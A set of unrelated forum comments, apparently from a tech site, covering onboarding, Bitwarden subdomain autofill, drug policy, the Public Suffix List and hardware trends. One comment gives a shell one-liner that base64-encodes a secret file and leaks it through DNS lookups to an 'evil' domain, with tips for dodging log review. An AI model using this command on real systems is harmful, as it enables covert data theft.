Thanks - good to know this perspective! My goal was to front-load as much information as I could to the first 1-2 weeks of works so that I could quickly GET to work (and working on the right things), and get as much culture/context about the organization I have joined. In the past, when I've joined an organization, there is a burst of "meet a few people" exchanges (where you build out a small network of people who can help you learn, get unblocked), but quickly diving into work... when I'd actually hoped to get some whiteboard sessions, code reviews, "explain how this system really works" conversations in before diving in. Again, thanks for sharing your feedback.
I kind of stumbled on it since I work with CAM (recently more so).
I was surprised that I haven't heard of it before since from what I've seen the framework is mature and the API's seem quite complete (?). The official channels of ISO standard and especially company steptools.com provide a lot of info on the framework, but what I'm missing is some more success stories on implementation in companies (besides the ones that were part of development).
Do you work with it?
Can you please change the title ? Its very misleading.
Representation versus Depiction
Thank you for at least engaging with what I actually said.

Obviously, you must balance the harm of the intervention itself with the harm that the intervention is trying to mitigate.

In fact many of your measures are already in place. Civilized society does control your diet, through food regulation. It controls what you watch to some extent - you'll have to go a bit out of your way to find sex and violence. Alcohol is indeed a restricted substance, and many injury-prone sports have been discontinued or modified to be safer, although some (like boxing) continue despite solid evidence of terrible cumulative injury - to great controversy. I'm not sure what you're going for with the pre-crime thing...

There's no need to equate "my business" with "draconian control".
I could never figure out how to use umatrix or the advanced mode of ublock origin. I've read the instructions and could never figure them out.
Any pointers on how to do this? I run into problems with online purchases, and find out easier to switch to chrome than try and authorise various sites on the fly.
If your database queries are so bad that you can get such big improvements by changing the queries and indexes, then obviously focus on that, not the client programming language. But once you've done that your programming language is responsible for a larger ratio of the total time, since it runs in series to the database query, not in parallel. The benefit, in my experience, is much larger than 10% then.

>Has anyone criticized Alan Kay?

>Alan Kay, Had something to do with "Object-Oriented Programming". Answered May 3, 2016.

>As Mark Miller mentioned, Dijkstra once said that "Object-Oriented Programming was such a bad idea that it could only have come from California"! However, he and I were friendly, so I took that as a backhanded compliment. My research group at Xerox Parc was known as "The Lunatic Fringe", usually (I thought) affectionately. I don't count trolls on reddit and slashdot and elsewhere.

All type sensor, spectrometers, blood testers, AI related medical apps, 3D scanning, etc etc will need high performance platform much before actual application available.
Don't know why this is being downvoted, its right on. I need to know I'm working for, but I also need to know who I'm working with.

Probably can't actually peg all potential problem team members, but getting a chance to do so is valuable and shows good will on the part of the employer.

I guess some people are upset at the characterisation of "social justice warriors" as a negative. Don't really want to get into the politics part - but that's kind of the point. There is a place for politics at work, when it can alleviate genuine suffering, but advertising which in-group you belong to isn't it. That goes for both sides of the political divide.
Danger mouse
Not sure where an ORM would help in this case. If anything, it might get in the way sometimes (in terms of performance), as some queries might not be well optimised.

But yeah, people shouldn't just "follow the hype". They should always ask why would use this and not that.
The key to doubling AI operations is changing the architecture significantly, which sadly makes it harder to use the platform itself as well.

After CUDA we had to use Tensor cores, later float16, now sparce matrix multiplications that work because deep learning uses lots of RELUs.
Why is the title misleading? Bitwarden leaked my password for subdomain A to subdomain B and does this even if auto-fill is set to off. That is exactly what the title says.

In my case even plaintext, because subdomain B has no HTTPS.

I didn't know why a mouse on a volcano would break some kind of record, and as my brain rapid fired possible parses to the sentence it did occur to me that this is a technology board and it could be a computer mouse. Neither one seemed more feasible for world records at face value.
So... This whole exchange happened 7 years ago? Why is it being talked about now? In any case, this needs a (2013) tag
I think it would be great to remove social safety nets and a war on drugs.

Social safety nets are just forcefully taking money from people creating value in society, taking a fee to keep alive government bureaucrats, and give the rest to people who don't produce value.
It's an incentive to not create value and a disincentive to do so.

If you want to donate to people in need, feel free to do it, just don't force the entire of society to do it.

The concept of controlled substances is ridiculous and I don't think it needs to be justified, unless you're a government shill who benefits from it or some authoritarian person who feel like they need to impose their values on everyone else.
I think you are right for a lot of tasks. However, some tasks, arguably more and more for a modern developer, unfortunately involve switching between many different applications and browser tabs. A decently fast programmer will have to spend some time finding the best way to manage this in a way they can both release some working memory and switch quickly. Now, I personally don’t believe that’s worth designing my own windows manager. But I will simply be thankful for those that do.
No for 2 reasons:

1) It's a company-to-company transaction. Individuals are not involved.

2) It's a company in one country to another country. Employment law doesn't cross national boundaries.
The war on terror and war on drugs are closely related enough (through expansion of powers and economic policies such as allowing police to purchase old military equipment) that I wonder if it’s worth even treating them as separate things.
> I'm not seeing any claims there that are new.

I think you are understating the results, even if the summary overblown how "disrupting" the results are. There is a number of interesting findings in the paper.
Yup - about 8 years ago or so, I built a TCP-over-DNS tunnel that smuggled data in DNS TXT records generated by a DNS server

It's even easier that if you just want to sneak a relatively small file out.

for n in $(base64 mysecretfile|sed 's/.\{63\}/&\n/g'); do nslookup $n.myevildomain.com; done

Then get the file out of your evil DNS server logs at the other end. Of course this depends on how much DNS logging the local site is doing and if anyone is paying attention to those logs, but a few random sleeps should help there.
AI creates possibilities of creating meaningful signal from extremely noisy environment, enabling lots of miniaturisation in sensors, which again enables tons of cross domain applications. e.g. low cost spectrometers for blood testing.
Good luck getting generation smartphone to do something.

Like BLM protests proved, you will just get ex-felons robbing honest people and burning down buildings.
I disagree. The default for a password manager should be the most secure, with additional features and behavior only being enabled after the user has had at least the chance to make an informed decision.
Spoiler: the “Huang's law” this author is trying to coin is that AI processors (surely this means ML) are still following something like Moore's Law in terms of rate of improvement of processing speed per year.

Which is cool I suppose but comparing it to Moore's Law seems a bit unfair.
You assume these organizations are filled with developers. From working for government, state higher ed, and health care for over 20 years, I can tell you, they are not. They are filled with techs who know how to call vendors (or are required to by leadership). So, when Epic (the EMR) system breaks and doctors and nurses can’t look up the info for an unconscious patient and the patient ends up dying, then yeah, the IT shop takes forever to patch things.
In that thread the pg - cperciva exchange is exemplary. cperciva is concise and blunt, someone else suggests softening his delivery, and pg replies "actually, if someone is wrong about math you probably should tell him so."
The point I was trying to make is that you may see no harm as an individual, but the state has another viewpoint.
Your position is fascism.
Has Apple survived 40+ years selling more expensive electronics than the competition by being a status symbol? Why are adults also buying iPhones then?

Would students really be “ostracized” if they had high priced Samsung phones?

You realize the $349 iPhone SE is more performant than any Android phone at any cost.
What I find the most interesting about this article is that someone was able to be identified using a picture of their fingerprints.

Thus, any photos posted online could be scoured for identification information. And with computer vision technologies becoming more mature, it means that regular video footage of people could identify them the same way in seconds or less using a wide variety of different visual traits.

The implications of this on individual privacy are immense.
> an era where fire exists

The labor-cost of energy (food, wood-burning, gasoline, electrical) is a pretty huge factor in human endeavor.

Cooking on a hot-spring is thrifty. Local wood runs out quickly when you have lots of people.
Actually Apple does that to prevent competitors from being able to sell similar competing products.

They also do that for classes of RAM, SSD, etc.

Less important, they do that to avoid the need for a supplier to build another facility. Often suppliers will raise prices after a step threshold requires more capacity (a new factory) because of the hassle, risk and setup cost.

One of the reasons that China took over the world's mfg. is that often they had pre-built factories already built. One engineer/entrepreneur in China financed and pre-built an entire chemical facility for a certain process. Talk about planning and faith.

An example of how wrong things are in the USA is that it took 20 years to extend BART 10 miles with above-ground track (Milpitas and Berryessa/North San Jose stations.)

Thanks for responding. For what it's worth, I did get a few people who did reply inline to the email, which I appreciated too. Honestly, the reason I even sent the "questions" ahead of time was so that the intro/1:1 would be a valuable use of time for both people (as we could prepare ahead of time). As I am re-reading the questions I sent, which part felt "social oriented goals"? Because that is definitely NOT what I am looking for. The goal is something like, "You've started a company before. You know it's tough getting started, as there is a flurry of information, activities, projects, etc. Help me out here, by giving some the context & direction you wish YOU had been given when starting here" (or something to that effect).

Would you have phrased something differently (assuming you'd send the email at all...)? Thanks again for the feedback. (It's tough to be on the receiving end of it). Learning a lot on this thread!

The difference being that if you don't buy drugs online voluntarily you won't get jailed.
If you don't pay your taxes you, eventually, will.

It's not moral to ask citizens to pay taxes, but it's not immoral to pay taxes: you do it because it's the least harmful option available to you.
If it doesn't go towards making it beefier, it will go towards making it smaller. Ambient computing (VR glasses or optical/cochlear implants) seems to be one logical terminal point. Just like the "PDA" has now become an outdated form factor, so too will the phone.
Well, he probably didn’t burglarize and mug people for snowboard gear, so there’s that.
Idk if community skills really matter.
The most secure is not the most restrictive. A password manager extension has to work. If it doesn't work reliably and people end up copying/pasting passwords, that's not the "most secure".

The dysfunctionality of the American penal system, as well as the propensity to treat it like a hammer for every problem's nail, warrants an entirely separate discussion.

Hopefully there's a satisfactory middle ground between "locked up in harsh conditions for years" and "ain't nobody's business if you do".
Anybody ever seen a systemic interpretation of OO (or even modularization) ?

A way to simply cut through possible spaces and divide things grossly in order to prototype without painting yourself in a corner ? an also minimize the amount of change if the the modules have to be changed (impact analysis comes to mind).
You should get your vitamin d levels tested, and then supplement. I feel that I go outside a fair bit, but to get my vitamin D levels up I have to take 10,000IU per day. Now my Vitamin D is about 57 ng/mL. The daily recommend amount on the supplement bottles isn’t going to come anywhere near to cutting it, especially if you spend most of your time inside or live up north.
Haven't tried OpenJSCAD - thanks for the reference.

> Referring to vertices of a solid in general seems to be incompatible with OpenSCAD's paradigm of modeling with boolean operations. You don't know where the vertices are until you render.

Is it? Well I suppose it is in the general case. It would be hard to refer to an edge that has been created as a result of some difference operation. But the corners of a cube are still valid reference points even if they've been chopped off, and aren't part of the final solid.

Not only that, but github.io is on the Public Suffix List, which is designed for this purpose. Any site that allows users to run servers or host arbitrary HTML/JS on a subdomain should ensure that the parent domain is on the Public Suffix List, which ensures that one user can't even attack another. (The other problem the Public Suffix List solves is that "foo.co.uk" and "bar.co.uk" shouldn't be treated like "foo.example.com" and "bar.example.com", even though they have the same number of components.)
It's incredible that so much tax payer money and human resources are devoted to defend pharmaceutical companies monopoly on drugs. By his inventory it sounds like his customers would likely be people with chronic conditions that have strong presence of pharmaceutical lobby to prevent legal sales of cannabis and probably cannot afford Xanax through legal means because the cost of getting medical help is extortionate.
I feel that I took the days where headlines just said what an article was about for granted.

Also it is extra silly because Moore's law is about transistor density and transistor cost.
I gather that there may be some differences in functionality offered, but that it’s probably not much. So I presume performance is the biggest area of difference. In that regard: how big are the differences in performance for each category’s representative workloads?
> If you go to the meetings of the financial elite of the world, they have in their agenda exactly what GT wants: Taxing C02, forcing people to eat insects, because meat and fish is unsustainable...

Taxing CO2 is literally the last thing “the financial elites” want - it’s a policy that’s been pushed by scientists and economists for decades but never gained political traction due to an intense lobbying campaign from the oil and gas industry.

That’s also not what Thunberg advocates for. Thunberg primarily advocates for more aggressive national emissions reductions targets. She says that her drastic personal lifestyle changes (e.g. being vegan) are meant to raise awareness about environmentalism, but that they are not a practical solution and that the responsibility for eliminating pollution lies with the rich and powerful, not consumers.
There's a simple solution, don't socialise safety nets and let people pay for their mistakes or misfortunes.

It may sound cold but at least you don't have to steal money from all the people who actually create value and you don't have to pay for bureaucracy
Nature's resilience, adaptability, and resourcefulness underscores how much we have to pollute it to cause so many extinctions, deserts, and wastelands. How much beauty do we have to see or lose to change our values from growth at all costs and externalizing costs to enjoying what we have and taking responsibility for how our behavior affects others?
By that logic, would you be okay with people supplying random people with tons of explosive? I mean, it's supplying goods to customers who want them.
This book talks about in mental models in depth, "Deep Survival" by Lawrence Gonzales [1]. Mental models can contribute to death in survival situations because they are biased by past experience. Being adaptable and practicing resilience is a much better survival strategy. A dark sense of humor helps too.

It's a really great read on how the brain works. It helped me understand some of my own fears about the COVID pandemic. It also helps me understand (but not agree with) why some people are so resistant to wearing masks when it might keep their loved ones alive.

The book gives examples of mountaineering accidents. The mental model says that the group is roped in together. Symbolically, everyone is a team, in it together. But guess how much physical force is generated by gravity when 150+ pounds of person and gear when a fall reached the end of a 50ft rope? More than what physical strength and crampons can support. That one mental model comes up a lot in mountaineering accident reports.

So what is the alternative nowadays?
Meanwhile, the city is dying. MTA debt is up to $18 billion, population is shrinking rapidly, and stores and restaurants are closing at record rates.

We’ve gone from everything is closed to most things are partially open, and the rates are the same. Time to stop burning the local economy to the ground.
I use the end of my key to push buttons. A shoulder shove works for pushing doors. If I have to pull occasionally I use my T-shirt to get a grip. If it were a major problem I’d use a glove.
This guy also sold a neurotoxic addictive stimulant(methamphetamine), supported Mexican cartels by doing so, and had guns while being an ex-felon.
I totally agree. Consenting buyer and seller, this is a leftover from the Mayflower (no dancing kind of thing). At some point the world should just stop wasting money on preventing things that humans want. Prostitution, pot, etc., will never be stopped because people want to buy and sell it.
> especially as sqlite depending on configuration either corrupts or becomes extremely slow when stored on distributed/network file systems

I had Plex running via Docker, and the Plex configuration/metadata stored via NFS on my NAS. For quite a while seeking would be intermittently slow, or plain crash the Plex server requiring a restart of the container. Other weird issues as well.

Finally I had enough and did some debugging and searching, and found that Plex uses sqlite in a way that is not compatible with networked storage. So I moved it to an iSCSI volume, mounted as a regular drive on the Docker host and it's been rock solid since.

But yeah, didn't expect that.
First of all, bullying happens anyways. In fact, it's safer to assume that bullying is the norm rather than a deviance -- some are just better at being subtle than others. With that said, the gifted child is just as likely to treat that as a crash course in how to bully, in large part because they will inevitably become aware that penalties for bullying are more lax for them than for others, and they will be rewarded for figuring out how to outwit the system.
That's the opposite of what studies on drugs use/availability say.

People in the Netherlands don't get stoned everyday just because they can.
From a random internet site:
"
The data are correct.

But most people treat 'data' as a singular noun, especially when talking about computers etc.

For example:-

The data is being transferred from my computer to yours.

And I have to be honest, I've never heard anyone ask for a datum.
"

It could be the case that the scientific pluralization is leaking into regular usage because more people are collectively reading / reporting on scientific studies. Alternatively, Google / Grammarly and similar tools might be suggesting it because it's been seen in their training data / examples.

In any case, IMHO 'datum' is a singular point of information, any reference to multiple points of information would make the noun plural.
By 92, I was already in college into console games. I wouldn’t even have bothered by 1996 and just pay for stuff. I also stopped downloading music from places like Kazaa when iTunes came out.

In the 80s, I don’t know where my friends got their cache of cracked software for the Apple //.
Universities who do this should make sure that .example.edu (or perhaps .students.example.edu or .sites.example.edu or something) is on the Public Suffix List. (I'm hoping Bitwarden defines "base domain" as "one level past a public suffix"; if not, that's a serious bug.)

Re trust - in practice, yes, they are, because anything.google.com can read google.com cookies. It's a pretty minor expense for me, a private individual, to register a new domain name: it's an even more minor expense for Google, even apart from the fact that they own .dev and .google and others.
It really should be both.
This is probably a good idea. Nothing else is working.
The argument works equally well for proving that humans can't think. It explains so much!

Soda creates a much bigger burden on those programs as well. Much of the food industry does, as well as the alcohol industry and the entertainment industry (encouraging sedentary lifestyles). These things have a much bigger impact than a guy selling meth on the darknet.

I think as a society it is worth talking about limiting activities that are a net drain on society (and not just on health - also credit cards, advertising, the lottery, and much more). We don't do that, though. Instead we crack down extremely harshly on a small subsection, and completely ignore the rest.
